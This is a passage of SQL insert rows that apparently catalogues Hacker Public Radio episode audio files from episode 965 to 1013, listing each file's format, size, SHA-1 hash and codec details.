(965,'hpr0965.ogg','ogg',14814412,'98edbeaf6c050c64dde36592a60ce973d938ad3a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(965,'hpr0965.spx','spx',6797027,'29331c75deaf98f438c490a0f6d9c821c62ea5c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(966,'hpr0966.mp3','mp3',8934802,'9e2c4aa3aabda25d7be54ffb866c1bd743d9919e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(966,'hpr0966.ogg','ogg',4511257,'b0fd7b5d7f535f4e05beeaf7e633a4d5ab641475','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(966,'hpr0966.spx','spx',2660470,'dcdb5242e0d4fb6f8e678aaff7bb7702d023a766','application/ogg; charset=binary','Ogg data, Speex audio'),
(967,'hpr0967.mp3','mp3',7655798,'d517699b5a29d2bd4c23ed42a84ee57c50d11f61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(967,'hpr0967.ogg','ogg',9841148,'3357a063805cef4cd1016795aff327a645b0d306','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(967,'hpr0967.spx','spx',3418828,'5fe8a87232be18a3dd2d38c4746d9f85479b3baf','application/ogg; charset=binary','Ogg data, Speex audio'),
(968,'hpr0968.mp3','mp3',10069771,'f9639f5c8450684a2a5597e867ff4e706471cdda','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(968,'hpr0968.ogg','ogg',5572360,'dd8387acbf20e012464208b90aeead9ab85dee55','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(968,'hpr0968.spx','spx',2248893,'22f439cc7cd15f0784a8b70bf52f4137c03b8259','application/ogg; charset=binary','Ogg data, Speex audio'),
(969,'hpr0969.mp3','mp3',67672346,'6aabc51aa06d7d9fc0941cdbbb4a57cb28cc2957','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(969,'hpr0969.ogg','ogg',73414417,'dbc7b92d11961e903dad545711c6810d50a505ff','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(969,'hpr0969.spx','spx',17330293,'719bbf89d1004aac30a6bb93676acd14f1d7b262','application/ogg; charset=binary','Ogg data, Speex audio'),
(970,'hpr0970.mp3','mp3',7657771,'0f215b69a60147366695f7c9abcbc06fb5792155','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(970,'hpr0970.ogg','ogg',7417665,'b52a31f8b1c0d3c1f784eca9b6cc689eb466c2a8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(970,'hpr0970.spx','spx',3419710,'662708e050cdcfcfc98c6ba25bc59a914513e50c','application/ogg; charset=binary','Ogg data, Speex audio'),
(971,'hpr0971.mp3','mp3',37511683,'00a12a17f008f8c0fb5f6d90660f5eb9acb6be2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(971,'hpr0971.ogg','ogg',107977388,'fc37ed13118fe3fb68d137be824e20298ee94258','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(971,'hpr0971.spx','spx',16753289,'7269a9e8ea833b626afaf599332f27eeb90d3e85','application/ogg; charset=binary','Ogg data, Speex audio'),
(972,'hpr0972.mp3','mp3',6457130,'eab816ffe93c8bdf0a20579fe289ebdd68f9e1aa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(972,'hpr0972.ogg','ogg',5948122,'d6c4b938551028d2e16eb27aabb3b9f3c64484db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(972,'hpr0972.spx','spx',3395725,'e107d4735f06d0b01e2a6b0d692197ea8f024dd9','application/ogg; charset=binary','Ogg data, Speex audio'),
(973,'hpr0973.mp3','mp3',22657501,'977b63f5c221c96f46a3bd7067c00a05746484dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(973,'hpr0973.ogg','ogg',13131215,'71d80cc6a14928cab7dbfcfd2aa1af0cff388b56','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(973,'hpr0973.spx','spx',5059811,'aa8b00426c6be214bddc99aa587b944caffe76ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(974,'hpr0974.mp3','mp3',13577915,'b603839e415d514cee0b90fc07ed12630479a6b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(974,'hpr0974.ogg','ogg',15065822,'d9f626947832f2a0ba5211327fa0bb7de89c924b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(974,'hpr0974.spx','spx',8558446,'b91c651cdfc0462fd8b512237c6e2b4b7bf7b18d','application/ogg; charset=binary','Ogg data, Speex audio'),
(975,'hpr0975.mp3','mp3',3181370,'5dd80a69ba06c7ade25084bcc6d55bb45671a77d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(975,'hpr0975.ogg','ogg',1872594,'ef1865b6030947da65a28ee2779c485ae20a3c48','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(975,'hpr0975.spx','spx',947410,'48478944cf84f4e0935c59f509beae518c576626','application/ogg; charset=binary','Ogg data, Speex audio'),
(976,'hpr0976.mp3','mp3',20177162,'8c235e3017589d6e4211a415dd994f9b5a971704','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Monaural'),
(976,'hpr0976.ogg','ogg',29152270,'f080a59a02eb671cf88f458f26239229bd96fe30','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~70000 bps'),
(976,'hpr0976.spx','spx',15575662,'7df251eb9089bbbab9701f090592f8bb29bb07c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(977,'hpr0977.mp3','mp3',28731655,'72224094c0e8321e143ee341eec000cf6a1b1ebe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(977,'hpr0977.ogg','ogg',15508157,'12d9380263fdde2fcb9d4c0145aea43096c299f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(977,'hpr0977.spx','spx',6416153,'8bf9c0989f2eb784e112a1bda879b2369ff5cd79','application/ogg; charset=binary','Ogg data, Speex audio'),
(978,'hpr0978.mp3','mp3',23728286,'bfb83d5c2e22ae17d4a25129b69ce98885d6606c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(978,'hpr0978.ogg','ogg',37113520,'550cb57d68c12900fa4b70848605f2d2ec5a3ed8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps'),
(978,'hpr0978.spx','spx',15369605,'dcf749af7dab3eaf9aa880632d8d65bd5520d31e','application/ogg; charset=binary','Ogg data, Speex audio'),
(979,'hpr0979.mp3','mp3',26931993,'dd990301abbbabab61f7bc87c6ef702acb443655','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(979,'hpr0979.ogg','ogg',29711615,'8e0e36fa53adf84f21892e5c786769e7b4c6a065','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(979,'hpr0979.spx','spx',12027991,'0d9c9dfb64eccc0d129145aa0edfc47dd932c8aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(980,'hpr0980.mp3','mp3',31587570,'1fb5e715b4776e2fcb56c146f1cd6d6185e11402','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(980,'hpr0980.ogg','ogg',30282246,'d3ba98a8c8ffcb5936e010dc8f55950b6fbf6c5c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(980,'hpr0980.spx','spx',14106941,'51af057f40b11ae6407dc3629f643fbd0c8af220','application/ogg; charset=binary','Ogg data, Speex audio'),
(981,'hpr0981.mp3','mp3',22366727,'951ad93144261d7e064a374137af5301eee4e3b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(981,'hpr0981.ogg','ogg',12392967,'e94b92b1263d3efef4e3169002e772e195eb2469','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(981,'hpr0981.spx','spx',4995001,'67cd5278c8947d3f4d8560901fd021f862d988fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(982,'hpr0982.mp3','mp3',10588986,'7115d3b9948ad84857b622ed1e01a750416b8c50','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(982,'hpr0982.ogg','ogg',8549440,'f8f8924347a1dfbecc8269f0c3f6d19ddef65517','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(982,'hpr0982.spx','spx',5568755,'66768fb5e6000b117057c7b2dd13e14a2829b59f','application/ogg; charset=binary','Ogg data, Speex audio'),
(983,'hpr0983.mp3','mp3',16839943,'6e41bfedce2eb8813056e1a7ed4f876742a5d3dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(983,'hpr0983.ogg','ogg',9184626,'f62569bb164bbae1bd979ed3a3157860395aa00c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(983,'hpr0983.spx','spx',3760704,'31a134eb8dc234924d7a315f36044963c95ae291','application/ogg; charset=binary','Ogg data, Speex audio'),
(984,'hpr0984.mp3','mp3',19070847,'d2aec9f6a81f4ec09eee04be201fb16e655a74fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(984,'hpr0984.ogg','ogg',19794258,'e25ed23d5c98b0559e421288979153502bd36955','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(984,'hpr0984.spx','spx',8517516,'6850031e7bb29f9e9b832ca46b0413dc9844c2bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(985,'hpr0985.mp3','mp3',3484622,'abbce4632f91d58ac6cf43193a7eaab2f1c8fc6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(985,'hpr0985.ogg','ogg',4228365,'4d99c479017eaebf5d747a6bb4df657a9583602b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(985,'hpr0985.spx','spx',1555940,'0389675b64c0d6a214d405b8c30fb4eca5fe79a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(986,'hpr0986.mp3','mp3',22938401,'9760d3ab51792d20f2016714c37ea00e672b6ef7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(986,'hpr0986.ogg','ogg',12223008,'1bb21382c2a576aeef7603ed1d67ebf1f6ba54c2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(986,'hpr0986.spx','spx',5122584,'3a1c59a890ac7d97db668c0e3f17a5e3025e80e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(987,'hpr0987.mp3','mp3',2505916,'c9b4a87413d9208d4a87413605bc1ee471e7146d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(987,'hpr0987.ogg','ogg',4286314,'1a704095d9a7e7bce015382af057fe1a8fe5c1fc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(987,'hpr0987.spx','spx',1118838,'d9a94c4a3f8a223bf282bf0d243fc6af0686b0ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(988,'hpr0988.mp3','mp3',14199602,'df46e2dd3de7a7d7b70547338ce3b8a9a53cae6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(988,'hpr0988.ogg','ogg',14665010,'86dfdfaf4c06922eed4d79053d86fad6525cb180','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(988,'hpr0988.spx','spx',6341936,'6cd5b2a99d5779c7e65e47df7a5d1ab7ef64850c','application/ogg; charset=binary','Ogg data, Speex audio'),
(989,'hpr0989.mp3','mp3',48251871,'fd16cd99c80a1bc01a48e731c660af860a948003','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(989,'hpr0989.ogg','ogg',41102446,'3c61914e9f440286d53f42ddaaab53994211f46e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(989,'hpr0989.spx','spx',10774858,'3609c815a5ea35ee23cb7d24a2b0e869d72a9d43','application/ogg; charset=binary','Ogg data, Speex audio'),
(990,'hpr0990.mp3','mp3',10002348,'b86cb50f946678a2abd0b589998c6780ac717347','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(990,'hpr0990.ogg','ogg',5247109,'131f5e4c06f54cf7e05e46adf5ea2678c04fc9e4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(990,'hpr0990.spx','spx',2296634,'453a2fd0086da0679a207a3dff0aca5f9689b09a','application/ogg; charset=binary','Ogg data, Speex audio'),
(991,'hpr0991.mp3','mp3',7085152,'a4dc007d30706193515a62004e2936a408dcb18a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(991,'hpr0991.ogg','ogg',5951101,'b474848813554d98304240d19bb1683a4afdff2a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(991,'hpr0991.spx','spx',2111222,'29291f62a1e95d1dd29b6f517202b080903af9bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(992,'hpr0992.mp3','mp3',21461463,'b9d223583398210c097de13cde1bd0b9a30de0d8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(992,'hpr0992.ogg','ogg',13631086,'04d52a531281d2bfdddd934730c6ba310a608b63','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(992,'hpr0992.spx','spx',8464550,'f57dcf0debe56e7a71ba7779f363e99fd7994ad2','application/ogg; charset=binary','Ogg data, Speex audio'),
(993,'hpr0993.mp3','mp3',27191052,'a333e42ba5920a191cb4737965b622f3c5d4bb98','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(993,'hpr0993.ogg','ogg',13467618,'26159f7ca6b0644f292a49368412001c4a6b2c77','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(993,'hpr0993.spx','spx',6072167,'62a512795109aa97abd315ae1cb05eb3f99d4885','application/ogg; charset=binary','Ogg data, Speex audio'),
(994,'hpr0994.mp3','mp3',18790205,'8b6992e23e7891d09dddfc22b50ecd6e6f587806','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(994,'hpr0994.ogg','ogg',21195235,'6c66623a7099af0234754a8569f6a845b6ff347f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(994,'hpr0994.spx','spx',12845782,'3e65658444ebb12f328271c0a9aa99b514a81f16','application/ogg; charset=binary','Ogg data, Speex audio'),
(995,'hpr0995.mp3','mp3',7152894,'ec99b4e68a2efd8fea339f5c6ad0942fce4d52ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(995,'hpr0995.ogg','ogg',9281116,'2d30c692a5986a640a6fa0fe31fbafb702845c40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(995,'hpr0995.spx','spx',3194194,'e357e5034548c3f9e399bfb78819fba033ed3449','application/ogg; charset=binary','Ogg data, Speex audio'),
(996,'hpr0996.mp3','mp3',2335696,'12d5baefd6002d29b9f29dd012e87e61cb2d2c11','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(996,'hpr0996.ogg','ogg',2010682,'c01afa1e5c9b373525309616319de23257580c51','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(996,'hpr0996.spx','spx',1042751,'d74a03ed7b6b6da58920ff092b30f1865a54a2d6','application/ogg; charset=binary','Ogg data, Speex audio'),
(997,'hpr0997.mp3','mp3',16580253,'6ee8a0293859c6cc9107739bdcf3e10ce3342710','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(997,'hpr0997.ogg','ogg',7568553,'9647dfc7dc9a159f5ddac0651eb9b370425b3393','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(997,'hpr0997.spx','spx',2641351,'363875b0fc62cb77136e8400053f0147d91638d6','application/ogg; charset=binary','Ogg data, Speex audio'),
(998,'hpr0998.mp3','mp3',17299622,'fb905a49606c26f533e3f7422b0a8dbeedc49bd9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(998,'hpr0998.ogg','ogg',17037851,'e1bd998fbadd6fdc8042013a2ae231271317f9f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(998,'hpr0998.spx','spx',9097940,'154851f040e28682f17a963dabd5713567d6ee30','application/ogg; charset=binary','Ogg data, Speex audio'),
(999,'hpr0999.mp3','mp3',13056128,'83b39e016b7d45fbc27a1c2d419e51203975f7f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(999,'hpr0999.ogg','ogg',10164574,'fe9469938e2d971eb672399ffbe3e84e68bb4f02','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(999,'hpr0999.spx','spx',3930870,'19d07f516a3888eeb9d33a030570f7c78cbf4a74','application/ogg; charset=binary','Ogg data, Speex audio'),
(1000,'hpr1000.mp3','mp3',9982011,'f874d33b6f6ddb7f2bfabad206caa6de4ff6730c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1000,'hpr1000.ogg','ogg',19190891,'71e55755046b266661d319b63c6116309add3eff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1000,'hpr1000.spx','spx',4457814,'f7ae0814d345d1e4bca6691c307d778a28597e35','application/ogg; charset=binary','Ogg data, Speex audio'),
(1001,'hpr1001.mp3','mp3',20324646,'a2b83060fe6647d28b9d023f3a3c3fb6ac618042','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1001,'hpr1001.ogg','ogg',24023484,'cba1ab9631ce94fab6678a1d66cf68328aa75a32','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1001,'hpr1001.spx','spx',9076848,'ed7e598dce4164fef3d460a10c2d703364e6c8ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(1002,'hpr1002.mp3','mp3',13651144,'9578e35adb583773de9c4d329ea8cdd50d20e11a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(1002,'hpr1002.ogg','ogg',11969750,'93ecd34bdb4114679c452e7cf5d9a29e7be279ff','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(1002,'hpr1002.spx','spx',5560945,'09f7f6c266a8a7451c6c364763e285824ba2fb79','application/ogg; charset=binary','Ogg data, Speex audio'),
(1003,'hpr1003.mp3','mp3',6076054,'354aa54f10509e39bb41ac0b7f4a88a1b6a07bab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1003,'hpr1003.ogg','ogg',11314110,'a065034c38617b87e81e43e1bb33667a582dd6c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1003,'hpr1003.spx','spx',2713277,'69a86322057438082878a9adcc789c7c5c91787f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1004,'hpr1004.mp3','mp3',38012336,'21073702b228f50eb738cf807fe6b51fc42627de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1004,'hpr1004.ogg','ogg',38631673,'986fc706cb646a42ba6a27ab8a8cb85d804b6bf2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1004,'hpr1004.spx','spx',16909758,'8a2dc16d64b6905eab2582caaf38c03f076c53b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1005,'hpr1005.mp3','mp3',13609732,'1a00d7620db9ee08d2f20a616edd0305701e08ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1005,'hpr1005.ogg','ogg',13190886,'0d9d4afec3473659b81cb74f314943ad78ad67b6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1005,'hpr1005.spx','spx',6077914,'5a0e3d3912474a62efdf36710f93e973a9308ba9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1006,'hpr1006.mp3','mp3',6390177,'f843025ae2b7a7624a744fdce9aecd57ae1276a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1006,'hpr1006.ogg','ogg',5974714,'aa8437a3fdcdd6844e04c915c2dd33d57d052f98','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1006,'hpr1006.spx','spx',2853638,'a7b04fdb4435f37607766f82e51a4f7b081138b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1007,'hpr1007.mp3','mp3',10965996,'9318a5ee3f134496b25a336456f3a7636deb453f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  56 kbps, 22.05 kHz, Monaural'),
(1007,'hpr1007.ogg','ogg',9772356,'1c1204e37c7c59fde7a36b67bdc0e938c7e7d268','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~45111 bps, created by: Xiph.Org libVorbis I'),
(1007,'hpr1007.spx','spx',8354784,'d195154ab0b39e807aa3140bb989897d8cd6bf10','application/ogg; charset=binary','Ogg data, Speex audio'),
(1008,'hpr1008.mp3','mp3',7641751,'0d0e1c1e8f0aeab75b3158cfac4b5a9d74c64724','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1008,'hpr1008.ogg','ogg',7707305,'d53a6c82e5a0a70328abaee514d09f3b6766f2ce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1008,'hpr1008.spx','spx',4018818,'675f3e7da70b4e9dbaecd21e3ef1e63819bb30c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1009,'hpr1009.mp3','mp3',15961341,'8ab80cfc6b254d792fd99f033d9d569198619693','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1009,'hpr1009.ogg','ogg',17673847,'6e5d5acc0180deb0f9710199c9e9a6286709b901','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1009,'hpr1009.spx','spx',11401375,'0cd4760799e402191b278a1047fbaaef31f639e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1010,'hpr1010.mp3','mp3',15883261,'926bc75ea547279fc853db375a17490c64038eb6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1010,'hpr1010.ogg','ogg',12174349,'ecca41563a690dcd98a184bb45e158d6203c745a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1010,'hpr1010.spx','spx',4728956,'a633c91ab1341433270797832b50f143fa5d4ff4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1011,'hpr1011.mp3','mp3',7579154,'871532ebbd2b8d3e26674d1121dc1839fcda5692','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1011,'hpr1011.ogg','ogg',10378693,'59c9fa48d9aca3eb7c6a64a7f35b0d4bfa186c86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1011,'hpr1011.spx','spx',4011933,'1fc01990c7961ce1004d7b581ec78224f50db9ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(1012,'hpr1012.mp3','mp3',16086656,'7ca5f3b5d8b7b02dc873eaafa7f5a3cc2b6a7c16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1012,'hpr1012.ogg','ogg',11212441,'f4502eed8c6986564b2093fb094ec7f18905e509','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(1012,'hpr1012.spx','spx',6553295,'2b62f5848b9c24d8cc7b980190fd8da59bc2bd99','application/ogg; charset=binary','Ogg data, Speex audio'),
(1013,'hpr1013.mp3','mp3',32550559,'87d9ec719c3201f56e7fab4fd3348535de1a9e70','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
